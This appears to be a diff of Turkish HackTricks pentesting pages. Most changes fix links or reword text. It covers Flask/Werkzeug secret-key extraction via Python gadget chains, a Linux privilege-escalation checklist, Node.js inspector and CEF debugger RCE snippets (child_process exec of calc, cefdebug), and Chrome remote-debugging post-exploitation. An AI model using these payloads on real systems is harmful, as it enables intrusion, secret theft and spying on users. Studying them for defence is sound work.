Bu durumda, tünelleme gerekli olabilir. Burada [**tünelleme hakkında bir yazı bulabilirsiniz**](../generic-hacking/tunneling-and-port-forwarding.md).\
 | 
			
		||||
Ayrıca, [Active Directory pentesting Metodolojisi](../windows-hardening/active-directory-methodology/index.html) hakkında yazıyı kontrol etmelisiniz. Orada yanlamasına hareket etme, ayrıcalıkları yükseltme ve kimlik bilgilerini dökme konusunda harika ipuçları bulacaksınız.\
 | 
			
		||||
Ayrıca [**NTLM**](../windows-hardening/ntlm/index.html) sayfasını kontrol edin, Windows ortamlarında pivotlama için çok faydalı olabilir.
 | 
			
		||||
 | 
			
		||||
### DAHA FAZLA
 | 
			
		||||
 | 
			
		||||
#### [Android Uygulamaları](../mobile-pentesting/android-app-pentesting/)
 | 
			
		||||
#### [Android Uygulamaları](../mobile-pentesting/android-app-pentesting/index.html)
 | 
			
		||||
 | 
			
		||||
#### **Sömürü**
 | 
			
		||||
 | 
			
		||||
- [**Temel Linux Sömürüsü**](broken-reference/)
 | 
			
		||||
- [**Temel Linux Sömürüsü**](broken-reference/index.html)
 | 
			
		||||
- [**Temel Windows Sömürüsü**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
 | 
			
		||||
- [**Temel sömürü araçları**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/)
 | 
			
		||||
- [**Temel sömürü araçları**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/index.html)
 | 
			
		||||
 | 
			
		||||
#### [**Temel Python**](python/)
 | 
			
		||||
#### [**Temel Python**](python/index.html)
 | 
			
		||||
 | 
			
		||||
#### **Kripto ipuçları**
 | 
			
		||||
 | 
			
		||||
@ -131,4 +132,5 @@ Ayrıca [**NTLM**](../windows-hardening/ntlm/) sayfasını kontrol edin, Windows
 | 
			
		||||
- [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
 | 
			
		||||
- [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md)
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
{{#include ../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
@ -2,12 +2,11 @@
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
**Kontrol edilecek ilginç sayfalar:**
 | 
			
		||||
 | 
			
		||||
- [**Pyscript hacking tricks**](pyscript.md)
 | 
			
		||||
- [**Python deserializations**](../../pentesting-web/deserialization/index.html#python)
 | 
			
		||||
- [**Python sandboxlarını atlatma yöntemleri**](bypass-python-sandboxes/)
 | 
			
		||||
- [**Python sandboxlarını atlatma teknikleri**](bypass-python-sandboxes/index.html)
 | 
			
		||||
- [**Temel python web istekleri sözdizimi**](web-requests.md)
 | 
			
		||||
- [**Temel python sözdizimi ve kütüphaneleri**](basic-python.md)
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
@ -8,12 +8,12 @@
 | 
			
		||||
 | 
			
		||||
### Flask - Gizli anahtarı oku
 | 
			
		||||
 | 
			
		||||
Bir Flask uygulamasının ana sayfasında muhtemelen bu **gizli anahtarın yapılandırıldığı** **`app`** global nesnesi olacaktır.
 | 
			
		||||
Bir Flask uygulamasının ana sayfasında muhtemelen bu **gizli anahtarın yapılandırıldığı** **`app`** global nesnesi bulunacaktır.
 | 
			
		||||
```python
 | 
			
		||||
app = Flask(__name__, template_folder='templates')
 | 
			
		||||
app.secret_key = '(:secret:)'
 | 
			
		||||
```
 | 
			
		||||
Bu durumda, bu nesneye erişmek için herhangi bir gadget kullanarak **global nesnelere erişmek** mümkündür [**Python sandbox'larını atlama sayfasından**](bypass-python-sandboxes/).
 | 
			
		||||
Bu durumda, bu nesneye erişmek için herhangi bir gadget kullanarak **global nesnelere erişmek** mümkündür [**Python sandbox'larını atlama sayfasından**](bypass-python-sandboxes/index.html).
 | 
			
		||||
 | 
			
		||||
**Açığın farklı bir python dosyasında olduğu** durumda, ana dosyaya ulaşmak için dosyaları geçmek üzere bir gadget'a ihtiyacınız var, böylece **global nesne `app.secret_key`'e erişebilir** ve Flask gizli anahtarını değiştirebilir ve bu anahtarı bilerek [**yetki yükseltme**] yapabilirsiniz (../../network-services-pentesting/pentesting-web/flask.md#flask-unsign).
 | 
			
		||||
 | 
			
		||||
@ -21,17 +21,17 @@ Bu yazıdan [şu şekilde bir payload](https://ctftime.org/writeup/36082):
 | 
			
		||||
```python
 | 
			
		||||
__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.secret_key
 | 
			
		||||
```
 | 
			
		||||
Bu yükü kullanarak **`app.secret_key`**'i (uygulamanızdaki adı farklı olabilir) değiştirerek yeni ve daha fazla yetkiye sahip flask çerezlerini imzalamak için gerekli yetkiye sahip olabilirsiniz.
 | 
			
		||||
Bu yükü kullanarak **`app.secret_key`**'i (uygulamanızdaki adı farklı olabilir) değiştirin, böylece yeni ve daha fazla yetkiye sahip flask çerezlerini imzalayabilirsiniz.
 | 
			
		||||
 | 
			
		||||
### Werkzeug - machine_id ve node uuid
 | 
			
		||||
 | 
			
		||||
[**Bu yazıdan bu yükleri kullanarak**](https://vozec.fr/writeups/tweedle-dum-dee/) **machine_id** ve **uuid** node'una erişebileceksiniz; bunlar, [**Werkzeug pin'ini oluşturmak için**](../../network-services-pentesting/pentesting-web/werkzeug.md) ihtiyaç duyduğunuz **ana sırlar**dır. Eğer **hata ayıklama modu etkinse**, `/console`'da python konsoluna erişmek için kullanabilirsiniz:
 | 
			
		||||
[**Bu yazıdan bu yükleri kullanarak**](https://vozec.fr/writeups/tweedle-dum-dee/) **machine_id** ve **uuid** node'una erişebileceksiniz, bu da [**Werkzeug pin'ini oluşturmak için**](../../network-services-pentesting/pentesting-web/werkzeug.md) ihtiyaç duyduğunuz **ana sırlar**dır. Eğer **hata ayıklama modu etkinse**, `/console`'da python konsoluna erişmek için kullanabilirsiniz:
 | 
			
		||||
```python
 | 
			
		||||
{ua.__class__.__init__.__globals__[t].sys.modules[werkzeug.debug]._machine_id}
 | 
			
		||||
{ua.__class__.__init__.__globals__[t].sys.modules[werkzeug.debug].uuid._node}
 | 
			
		||||
```
 | 
			
		||||
> [!WARNING]
 | 
			
		||||
> **app.py**'nin **sunucunun yerel yolu**'nu almak için web sayfasında bazı **hatalar** oluşturabileceğinizi unutmayın, bu da **size yolu verecektir**.
 | 
			
		||||
> Dikkat edin ki, web sayfasında bazı **hatalar** oluşturarak **app.py** dosyasının **sunucunun yerel yolunu** alabilirsiniz.
 | 
			
		||||
 | 
			
		||||
Eğer zafiyet farklı bir python dosyasındaysa, ana python dosyasından nesnelere erişmek için önceki Flask numarasını kontrol edin.
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
@ -35,12 +35,12 @@
 | 
			
		||||
- [ ] **Süreçleri izle** ve ilginç bir sürecin sıkça çalışıp çalışmadığını kontrol et.
 | 
			
		||||
- [ ] Bazı ilginç **süreç belleğini** (şifrelerin kaydedilebileceği yer) **okuyabilir misin**?
 | 
			
		||||
 | 
			
		||||
### [Planlı/Cron görevleri?](privilege-escalation/index.html#scheduled-jobs)
 | 
			
		||||
### [Zamanlanmış/Cron görevleri?](privilege-escalation/index.html#scheduled-jobs)
 | 
			
		||||
 | 
			
		||||
- [ ] [**PATH**](privilege-escalation/index.html#cron-path) bazı cron tarafından **değiştiriliyor mu** ve sen **yazabilir misin**?
 | 
			
		||||
- [ ] [**PATH**](privilege-escalation/index.html#cron-path) bazı cron tarafından değiştiriliyor mu ve sen **yazabilir misin**?
 | 
			
		||||
- [ ] Bir cron görevinde herhangi bir [**wildcard**](privilege-escalation/index.html#cron-using-a-script-with-a-wildcard-wildcard-injection) var mı?
 | 
			
		||||
- [ ] **Çalıştırılan** veya **değiştirilebilir klasörde** bulunan bazı [**değiştirilebilir scriptler**](privilege-escalation/index.html#cron-script-overwriting-and-symlink) var mı?
 | 
			
		||||
- [ ] Bazı **scriptlerin** [**çok sık**](privilege-escalation/index.html#frequent-cron-jobs) [**çalıştırıldığını**](privilege-escalation/index.html#frequent-cron-jobs) tespit ettin mi? (her 1, 2 veya 5 dakikada bir)
 | 
			
		||||
- [ ] **Değiştirilebilir bir script** (privilege-escalation/index.html#cron-script-overwriting-and-symlink) **çalıştırılıyor mu** veya **değiştirilebilir klasör** içinde mi?
 | 
			
		||||
- [ ] Bazı **scriptlerin** [**çok sık**](privilege-escalation/index.html#frequent-cron-jobs) **çalıştırıldığını** tespit ettin mi? (her 1, 2 veya 5 dakikada bir)
 | 
			
		||||
 | 
			
		||||
### [Hizmetler](privilege-escalation/index.html#services)
 | 
			
		||||
 | 
			
		||||
@ -72,10 +72,10 @@
 | 
			
		||||
 | 
			
		||||
- [ ] Genel kullanıcılar/gruplar **enumlemesi**
 | 
			
		||||
- [ ] **Çok büyük bir UID**'ye sahip misin? **Makine** **güvenli mi**?
 | 
			
		||||
- [ ] **Ait olduğun bir grup sayesinde yetki yükseltebilir misin**? [**escalate privileges thanks to a group**](privilege-escalation/interesting-groups-linux-pe/)
 | 
			
		||||
- [ ] **Ait olduğun bir grup sayesinde yetki yükseltebilir misin**? [**escalate privileges thanks to a group**](privilege-escalation/interesting-groups-linux-pe/index.html)
 | 
			
		||||
- [ ] **Pano** verileri?
 | 
			
		||||
- [ ] Şifre Politikası?
 | 
			
		||||
- [ ] Daha önce keşfettiğin her **bilinen şifreyi** kullanarak **her bir kullanıcıyla** giriş yapmayı dene. Şifre olmadan da giriş yapmayı dene.
 | 
			
		||||
- [ ] Daha önce keşfettiğin her **bilinen şifreyi** kullanarak **herhangi bir kullanıcıyla** giriş yapmayı dene. Şifresiz giriş yapmayı da dene.
 | 
			
		||||
 | 
			
		||||
### [Yazılabilir PATH](privilege-escalation/index.html#writable-path-abuses)
 | 
			
		||||
 | 
			
		||||
@ -85,12 +85,12 @@
 | 
			
		||||
 | 
			
		||||
- [ ] **Herhangi bir komutu sudo ile çalıştırabilir misin**? Root olarak herhangi bir şeyi OKUMAK, YAZMAK veya ÇALIŞTIRMAK için kullanabilir misin? ([**GTFOBins**](https://gtfobins.github.io))
 | 
			
		||||
- [ ] Herhangi bir **istismar edilebilir SUID ikilisi** var mı? ([**GTFOBins**](https://gtfobins.github.io))
 | 
			
		||||
- [ ] [**sudo** komutları **path** ile **sınırlı mı**? kısıtlamaları **bypass** edebilir misin](privilege-escalation/index.html#sudo-execution-bypassing-paths)?
 | 
			
		||||
- [ ] [**sudo** komutları **path** ile **sınırlı mı**? kısıtlamaları **aşabilir misin**](privilege-escalation/index.html#sudo-execution-bypassing-paths)?
 | 
			
		||||
- [ ] [**Path belirtilmeden Sudo/SUID ikilisi**](privilege-escalation/index.html#sudo-command-suid-binary-without-command-path)?
 | 
			
		||||
- [ ] [**Komut yolu belirten SUID ikilisi**](privilege-escalation/index.html#suid-binary-with-command-path)? Bypass
 | 
			
		||||
- [ ] [**LD_PRELOAD açığı**](privilege-escalation/index.html#ld_preload)
 | 
			
		||||
- [ ] Yazılabilir bir klasörden [**SUID ikilisinde .so kütüphanesinin eksikliği**](privilege-escalation/index.html#suid-binary-so-injection)?
 | 
			
		||||
- [ ] [**SUDO token'leri mevcut**](privilege-escalation/index.html#reusing-sudo-tokens)? [**Bir SUDO token'i oluşturabilir misin**](privilege-escalation/index.html#var-run-sudo-ts-less-than-username-greater-than)?
 | 
			
		||||
- [ ] Yazılabilir bir klasörden gelen [**SUID ikilisinde .so kütüphanesi eksikliği**](privilege-escalation/index.html#suid-binary-so-injection)?
 | 
			
		||||
- [ ] [**SUDO jetonları mevcut**](privilege-escalation/index.html#reusing-sudo-tokens)? [**Bir SUDO jetonu oluşturabilir misin**](privilege-escalation/index.html#var-run-sudo-ts-less-than-username-greater-than)?
 | 
			
		||||
- [ ] [**sudoers dosyalarını okuyabilir veya değiştirebilir misin**](privilege-escalation/index.html#etc-sudoers-etc-sudoers-d)?
 | 
			
		||||
- [ ] [**/etc/ld.so.conf.d/**'yi değiştirebilir misin](privilege-escalation/index.html#etc-ld-so-conf-d)?
 | 
			
		||||
- [ ] [**OpenBSD DOAS**](privilege-escalation/index.html#doas) komutu
 | 
			
		||||
@ -138,6 +138,6 @@
 | 
			
		||||
### [**Diğer numaralar**](privilege-escalation/index.html#other-tricks)
 | 
			
		||||
 | 
			
		||||
- [ ] [**NFS'i yetki yükseltmek için kötüye kullanabilir misin**](privilege-escalation/index.html#nfs-privilege-escalation)?
 | 
			
		||||
- [ ] [**kısıtlayıcı bir shell'den kaçmak için**](privilege-escalation/index.html#escaping-from-restricted-shells) ihtiyacın var mı?
 | 
			
		||||
- [ ] [**kısıtlayıcı bir shell'den kaçmak**](privilege-escalation/index.html#escaping-from-restricted-shells) için ihtiyacın var mı?
 | 
			
		||||
 | 
			
		||||
{{#include ../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
@ -4,7 +4,7 @@
 | 
			
		||||
 | 
			
		||||
## Temel Bilgiler
 | 
			
		||||
 | 
			
		||||
[Belgelerden](https://origin.nodejs.org/ru/docs/guides/debugging-getting-started): `--inspect` anahtarı ile başlatıldığında, bir Node.js süreci bir hata ayıklama istemcisi için dinler. **Varsayılan olarak**, **`127.0.0.1:9229`** adresinde ve portta dinleyecektir. Her sürece de **benzersiz** bir **UUID** atanır.
 | 
			
		||||
[Belgelerden](https://origin.nodejs.org/ru/docs/guides/debugging-getting-started): `--inspect` anahtarı ile başlatıldığında, bir Node.js süreci bir hata ayıklama istemcisi için dinler. **Varsayılan olarak**, **`127.0.0.1:9229`** adresinde dinleyecektir. Her sürece de **benzersiz** bir **UUID** atanır.
 | 
			
		||||
 | 
			
		||||
İnspektör istemcileri, bağlanmak için host adresini, portu ve UUID'yi bilmek ve belirtmek zorundadır. Tam bir URL şu şekilde görünecektir: `ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e`.
 | 
			
		||||
 | 
			
		||||
@ -27,32 +27,32 @@ Bir denetlenen işlem başlattığınızda, şöyle bir şey görünecektir:
 | 
			
		||||
Debugger ending on ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
 | 
			
		||||
For help, see: https://nodejs.org/en/docs/inspector
 | 
			
		||||
```
 | 
			
		||||
**CEF** (**Chromium Embedded Framework**) tabanlı süreçler, **debugger**'ı açmak için `--remote-debugging-port=9222` parametresini kullanmalıdır (SSRF korumaları çok benzer kalır). Ancak, **NodeJS** **debug** oturumu vermek yerine, tarayıcı ile [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/) aracılığıyla iletişim kuracaklardır; bu, tarayıcıyı kontrol etmek için bir arayüzdür, ancak doğrudan bir RCE yoktur.
 | 
			
		||||
**CEF** (**Chromium Embedded Framework**) tabanlı süreçler, **debugger**'ı açmak için `--remote-debugging-port=9222` parametresini kullanmalıdır (SSRF korumaları oldukça benzer kalır). Ancak, bir **NodeJS** **debug** oturumu vermek yerine, tarayıcı ile [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/) aracılığıyla iletişim kuracaklardır; bu, tarayıcıyı kontrol etmek için bir arayüzdür, ancak doğrudan bir RCE yoktur.
 | 
			
		||||
 | 
			
		||||
Bir hata ayıklama tarayıcısı başlattığınızda, şöyle bir şey görünecektir:
 | 
			
		||||
Bir debug edilmiş tarayıcı başlattığınızda, şöyle bir şey görünecektir:
 | 
			
		||||
```
 | 
			
		||||
DevTools listening on ws://127.0.0.1:9222/devtools/browser/7d7aa9d9-7c61-4114-b4c6-fcf5c35b4369
 | 
			
		||||
```
 | 
			
		||||
### Tarayıcılar, WebSocket'ler ve aynı köken politikası <a href="#browsers-websockets-and-same-origin-policy" id="browsers-websockets-and-same-origin-policy"></a>
 | 
			
		||||
 | 
			
		||||
Bir web tarayıcısında açılan web siteleri, tarayıcı güvenlik modeli altında WebSocket ve HTTP istekleri yapabilir. **Benzersiz bir hata ayıklayıcı oturum kimliği elde etmek için** **ilk bir HTTP bağlantısı** gereklidir. **Aynı köken politikası**, web sitelerinin **bu HTTP bağlantısını** yapmasını **engeller**. [**DNS yeniden bağlama saldırılarına**](https://en.wikipedia.org/wiki/DNS_rebinding)** karşı ek güvenlik için,** Node.js, bağlantı için **'Host' başlıklarının** ya bir **IP adresi** ya da tam olarak **`localhost`** veya **`localhost6`** belirtip belirtmediğini doğrular.
 | 
			
		||||
Bir web tarayıcısında açılan web siteleri, tarayıcı güvenlik modeli altında WebSocket ve HTTP istekleri yapabilir. **Benzersiz bir hata ayıklayıcı oturum kimliği elde etmek** için **ilk bir HTTP bağlantısı** gereklidir. **Aynı köken politikası**, web sitelerinin **bu HTTP bağlantısını** yapmasını engeller. [**DNS yeniden bağlama saldırılarına**](https://en.wikipedia.org/wiki/DNS_rebinding)** karşı ek güvenlik** için, Node.js bağlantının **'Host' başlıklarının** ya bir **IP adresi** ya da tam olarak **`localhost`** veya **`localhost6`** belirtip belirtmediğini doğrular.
 | 
			
		||||
 | 
			
		||||
> [!NOTE]
 | 
			
		||||
> Bu **güvenlik önlemleri, sadece bir HTTP isteği göndererek** kod çalıştırmak için **denetleyiciyi istismar etmeyi** engeller (bu, bir SSRF açığını istismar ederek yapılabilir).
 | 
			
		||||
 | 
			
		||||
### Çalışan süreçlerde denetleyiciyi başlatma
 | 
			
		||||
 | 
			
		||||
Çalışan bir nodejs sürecine **SIGUSR1 sinyalini** göndererek, **denetleyiciyi** varsayılan portta **başlatmasını** sağlayabilirsiniz. Ancak, yeterli ayrıcalıklara sahip olmanız gerektiğini unutmayın, bu nedenle bu, size **süreç içindeki bilgilere ayrıcalıklı erişim** sağlayabilir ancak doğrudan bir ayrıcalık yükseltmesi sağlamaz.
 | 
			
		||||
Çalışan bir nodejs sürecine **SIGUSR1 sinyalini** göndererek, **denetleyiciyi** varsayılan portta başlatabilirsiniz. Ancak, yeterli ayrıcalıklara sahip olmanız gerektiğini unutmayın, bu nedenle bu, size **süreç içindeki bilgilere ayrıcalıklı erişim** sağlayabilir ancak doğrudan bir ayrıcalık yükseltmesi sağlamaz.
 | 
			
		||||
```bash
 | 
			
		||||
kill -s SIGUSR1 <nodejs-ps>
 | 
			
		||||
# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
 | 
			
		||||
```
 | 
			
		||||
> [!NOTE]
 | 
			
		||||
> Bu, konteynerlerde **süreci kapatıp yeni bir tane başlatmak** `--inspect` ile **bir seçenek değildir** çünkü **konteyner** süreçle birlikte **öldürülecektir**.
 | 
			
		||||
> Bu, konteynerlerde **süreci kapatmak ve yeni bir tane başlatmak** `--inspect` ile **bir seçenek değildir** çünkü **konteyner** sürekle birlikte **öldürülecektir**.
 | 
			
		||||
 | 
			
		||||
### Denetleyiciye/hata ayıklayıcıya bağlanın
 | 
			
		||||
### Denetleyiciye/hata ayıklayıcıya bağlanma
 | 
			
		||||
 | 
			
		||||
**Chromium tabanlı bir tarayıcıya** bağlanmak için, Chrome veya Edge için sırasıyla `chrome://inspect` veya `edge://inspect` URL'leri erişilebilir. Yapılandırma düğmesine tıklanarak **hedef ana bilgisayar ve portun** doğru bir şekilde listelendiğinden emin olunmalıdır. Görüntü, Uzaktan Kod Yürütme (RCE) örneğini göstermektedir:
 | 
			
		||||
**Chromium tabanlı bir tarayıcıya** bağlanmak için, Chrome veya Edge için sırasıyla `chrome://inspect` veya `edge://inspect` URL'leri erişilebilir. Yapılandırma düğmesine tıklanarak **hedef ana bilgisayar ve port** bilgilerin doğru listelendiğinden emin olunmalıdır. Görüntü, Uzaktan Kod Yürütme (RCE) örneğini göstermektedir:
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
@ -73,30 +73,30 @@ Araç [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefdebu
 | 
			
		||||
./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.mainModule.require('child_process').exec('calc')"
 | 
			
		||||
```
 | 
			
		||||
> [!NOTE]
 | 
			
		||||
> **NodeJS RCE istismarları**, [**Chrome DevTools Protokolü**](https://chromedevtools.github.io/devtools-protocol/) aracılığıyla bir tarayıcıya bağlı olduğunda **çalışmayacaktır** (onunla yapacak ilginç şeyler bulmak için API'yi kontrol etmeniz gerekir).
 | 
			
		||||
> **NodeJS RCE istismarları**, [**Chrome DevTools Protokolü**](https://chromedevtools.github.io/devtools-protocol/) aracılığıyla bir tarayıcıya bağlı olduğunda **çalışmayacaktır** (bununla ilgili ilginç şeyler bulmak için API'yi kontrol etmeniz gerekir).
 | 
			
		||||
 | 
			
		||||
## NodeJS Hata Ayıklayıcı/Denetleyici'de RCE
 | 
			
		||||
 | 
			
		||||
> [!NOTE]
 | 
			
		||||
> Eğer buraya [**Electron'da bir XSS'den RCE nasıl alınır**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/) diye bakmak için geldiyseniz, lütfen bu sayfayı kontrol edin.
 | 
			
		||||
> Eğer buraya [**Electron'da bir XSS'den RCE nasıl alınır**] (../../network-services-pentesting/pentesting-web/electron-desktop-apps/index.html) diye bakmak için geldiyseniz, lütfen bu sayfayı kontrol edin.
 | 
			
		||||
 | 
			
		||||
Node **denetleyici**'ye **bağlandığınızda** **RCE** elde etmenin bazı yaygın yolları, (bu **Chrome DevTools protokolüne bağlantıda çalışmayacak gibi görünüyor**):
 | 
			
		||||
Node **denetleyici** ile **bağlandığınızda** **RCE** elde etmenin bazı yaygın yolları, (bu **Chrome DevTools protokolüne bağlantıda çalışmayacak gibi görünüyor**) bir şey kullanmaktır:
 | 
			
		||||
```javascript
 | 
			
		||||
process.mainModule.require("child_process").exec("calc")
 | 
			
		||||
window.appshell.app.openURLInDefaultBrowser("c:/windows/system32/calc.exe")
 | 
			
		||||
require("child_process").spawnSync("calc.exe")
 | 
			
		||||
Browser.open(JSON.stringify({ url: "c:\\windows\\system32\\calc.exe" }))
 | 
			
		||||
```
 | 
			
		||||
## Chrome DevTools Protokol Yükleri
 | 
			
		||||
## Chrome DevTools Protocol Payloads
 | 
			
		||||
 | 
			
		||||
API'yi burada kontrol edebilirsiniz: [https://chromedevtools.github.io/devtools-protocol/](https://chromedevtools.github.io/devtools-protocol/)\
 | 
			
		||||
Bu bölümde, insanların bu protokolü istismar etmek için kullandığı ilginç şeyleri listeleyeceğim.
 | 
			
		||||
 | 
			
		||||
### Derin Bağlantılar Üzerinden Parametre Enjeksiyonu
 | 
			
		||||
 | 
			
		||||
[**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/) Rhino güvenliği, CEF tabanlı bir uygulamanın sistemde **özel bir URI** (workspaces://) kaydettiğini ve tam URI'yi alarak **CEF tabanlı uygulamayı** bu URI'den kısmen yapılandırılmış bir konfigürasyonla başlattığını keşfetti.
 | 
			
		||||
[**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/) Rhino güvenliği, CEF tabanlı bir uygulamanın sistemde **özel bir URI** (workspaces://index.html) kaydettiğini ve tam URI'yi alarak **CEF tabanlı uygulamayı** bu URI'den kısmen yapılandırılmış bir konfigürasyonla başlattığını keşfetti.
 | 
			
		||||
 | 
			
		||||
URI parametrelerinin URL kodlaması yapılarak CEF temel uygulamasını başlatmak için kullanıldığı ve bir kullanıcının **komut satırında** **`--gpu-launcher`** bayrağını **enjekte** etmesine ve rastgele şeyler çalıştırmasına olanak tanıdığı keşfedildi.
 | 
			
		||||
URI parametrelerinin URL çözümlemesi yapılarak CEF temel uygulamasını başlatmak için kullanıldığı ve bir kullanıcının **komut satırında** **`--gpu-launcher`** bayrağını **enjekte** etmesine ve rastgele şeyler çalıştırmasına olanak tanıdığı keşfedildi.
 | 
			
		||||
 | 
			
		||||
Yani, şöyle bir yük:
 | 
			
		||||
```
 | 
			
		||||
@ -122,11 +122,11 @@ downloadPath: "/code/",
 | 
			
		||||
```
 | 
			
		||||
### Webdriver RCE ve exfiltrasyon
 | 
			
		||||
 | 
			
		||||
Bu gönderiye göre: [https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148](https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148) RCE elde etmek ve iç sayfaları exfiltrate etmek mümkündür.
 | 
			
		||||
Bu gönderiye göre: [https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148](https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148) RCE elde etmek ve iç sayfaları theriver'dan exfiltre etmek mümkündür.
 | 
			
		||||
 | 
			
		||||
### Post-Exploitation
 | 
			
		||||
 | 
			
		||||
Gerçek bir ortamda ve **bir kullanıcı PC'sini ele geçirdikten sonra** Chrome/Chromium tabanlı bir tarayıcı kullanan, **debugging etkinleştirilmiş ve debugging portunu yönlendirilmiş** bir Chrome süreci başlatabilirsiniz. Bu şekilde, **kurbanın Chrome ile yaptığı her şeyi inceleyebilir ve hassas bilgileri çalabilirsiniz**.
 | 
			
		||||
Gerçek bir ortamda ve **bir kullanıcı PC'sini ele geçirdikten sonra** Chrome/Chromium tabanlı bir tarayıcı kullanan bir kullanıcıyı ele geçirdiğinizde, **hata ayıklama etkinleştirilmiş ve hata ayıklama portunu yönlendirilmiş** bir Chrome süreci başlatabilirsiniz. Bu şekilde, **kurbanın Chrome ile yaptığı her şeyi inceleyebilir ve hassas bilgileri çalabilirsiniz**.
 | 
			
		||||
 | 
			
		||||
Gizli yol, **her Chrome sürecini sonlandırmak** ve ardından şöyle bir şey çağırmaktır:
 | 
			
		||||
```bash
 | 
			
		||||
 | 
			
		||||
@ -63,13 +63,13 @@ macos-security-protections/
 | 
			
		||||
 | 
			
		||||
### Dosya İzinleri
 | 
			
		||||
 | 
			
		||||
Eğer bir **root olarak çalışan bir süreç** bir dosya yazıyorsa ve bu dosya bir kullanıcı tarafından kontrol edilebiliyorsa, kullanıcı bunu **yetki yükseltmek için** kötüye kullanabilir.\
 | 
			
		||||
Eğer bir **root olarak çalışan bir süreç** bir dosya yazıyorsa ve bu dosya bir kullanıcı tarafından kontrol edilebiliyorsa, kullanıcı bunu **yetkileri yükseltmek için** kötüye kullanabilir.\
 | 
			
		||||
Bu aşağıdaki durumlarda gerçekleşebilir:
 | 
			
		||||
 | 
			
		||||
- Kullanılan dosya zaten bir kullanıcı tarafından oluşturulmuş (kullanıcıya ait)
 | 
			
		||||
- Kullanılan dosya, bir grup nedeniyle kullanıcı tarafından yazılabilir
 | 
			
		||||
- Kullanılan dosya, kullanıcıya ait bir dizin içindedir (kullanıcı dosyayı oluşturabilir)
 | 
			
		||||
- Kullanılan dosya, root'a ait bir dizin içindedir ancak kullanıcı bir grup nedeniyle üzerinde yazma erişimine sahiptir (kullanıcı dosyayı oluşturabilir)
 | 
			
		||||
- Kullanılan dosya, kullanıcıya ait bir dizin içinde (kullanıcı dosyayı oluşturabilir)
 | 
			
		||||
- Kullanılan dosya, root'a ait bir dizin içinde ancak kullanıcı bir grup nedeniyle üzerinde yazma erişimine sahip (kullanıcı dosyayı oluşturabilir)
 | 
			
		||||
 | 
			
		||||
**root** tarafından **kullanılacak bir dosya** oluşturabilmek, bir kullanıcının **içeriğinden faydalanmasına** veya hatta başka bir yere işaret etmek için **sembolik/sert bağlantılar** oluşturmasına olanak tanır.
 | 
			
		||||
 | 
			
		||||
@ -95,7 +95,7 @@ Bu nedenle, bir macOS makinesini başarılı bir şekilde ele geçirmek isteyen
 | 
			
		||||
 | 
			
		||||
Bu ayrıcalıklar genellikle uygulamanın imzalandığı **haklar** şeklinde verilir veya uygulama bazı erişimler talep edebilir ve **kullanıcı onayladıktan** sonra **TCC veritabanlarında** bulunabilir. Bir sürecin bu ayrıcalıkları elde etmenin bir diğer yolu, bu **ayrıcalıklara** sahip bir sürecin **çocuğu** olmaktır, çünkü genellikle **miras alınırlar**.
 | 
			
		||||
 | 
			
		||||
Farklı yolları bulmak için bu bağlantılara göz atın [**TCC'de yetki yükseltme**](macos-security-protections/macos-tcc/index.html#tcc-privesc-and-bypasses), [**TCC'yi atlamak**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) ve geçmişte [**SIP'nin nasıl atlandığı**](macos-security-protections/macos-sip.md#sip-bypasses).
 | 
			
		||||
Farklı yolları bulmak için bu bağlantılara göz atın [**TCC'de yetki yükseltme**](macos-security-protections/macos-tcc/index.html#tcc-privesc-and-bypasses), [**TCC'yi atlamak**](macos-security-protections/macos-tcc/macos-tcc-bypasses/index.html) ve geçmişte [**SIP'nin nasıl aşıldığı**](macos-security-protections/macos-sip.md#sip-bypasses).
 | 
			
		||||
 | 
			
		||||
## macOS Geleneksel Yetki Yükseltme
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
@ -17,15 +17,15 @@ Yetki **`com.apple.rootless.install`**, **SIP'yi atlamaya** izin verir. Daha faz
 | 
			
		||||
 | 
			
		||||
### **`com.apple.system-task-ports` (önceden `task_for_pid-allow` olarak adlandırılıyordu)**
 | 
			
		||||
 | 
			
		||||
Bu yetki, **çekirdek hariç** herhangi bir süreç için **görev portunu** almayı sağlar. Daha fazla bilgi için [**bunu kontrol edin**](../macos-proces-abuse/macos-ipc-inter-process-communication/).
 | 
			
		||||
Bu yetki, **çekirdek hariç** herhangi bir süreç için **görev portunu** almayı sağlar. Daha fazla bilgi için [**bunu kontrol edin**](../macos-proces-abuse/macos-ipc-inter-process-communication/index.html).
 | 
			
		||||
 | 
			
		||||
### `com.apple.security.get-task-allow`
 | 
			
		||||
 | 
			
		||||
